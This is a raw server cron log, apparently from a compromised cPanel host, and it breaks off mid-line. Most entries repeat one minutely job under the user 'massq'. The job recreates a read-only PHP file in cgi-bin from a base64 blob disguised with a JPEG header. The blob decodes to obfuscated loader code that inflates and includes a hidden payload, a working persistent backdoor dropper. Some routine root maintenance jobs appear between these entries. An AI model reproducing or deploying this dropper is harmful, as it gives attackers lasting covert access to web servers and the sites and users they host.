Nov 15 23:16:01 server CROND[23781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:17:01 server CROND[24035]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:18:01 server CROND[24323]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:19:01 server CROND[24592]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:20:01 server CROND[24948]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 23:20:01 server CROND[24951]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 23:20:01 server CROND[24950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 23:20:01 server CROND[24952]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 23:20:01 server CROND[24954]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:21:01 server CROND[25268]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:22:01 server CROND[25522]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:23:01 server CROND[25778]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:24:01 server CROND[26040]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:25:01 server CROND[26398]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:25:01 server CROND[26400]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 23:25:01 server CROND[26399]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 23:26:01 server CROND[26717]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:27:01 server CROND[26971]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 23:27:01 server CROND[26972]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:28:01 server CROND[27232]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:29:01 server CROND[27489]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 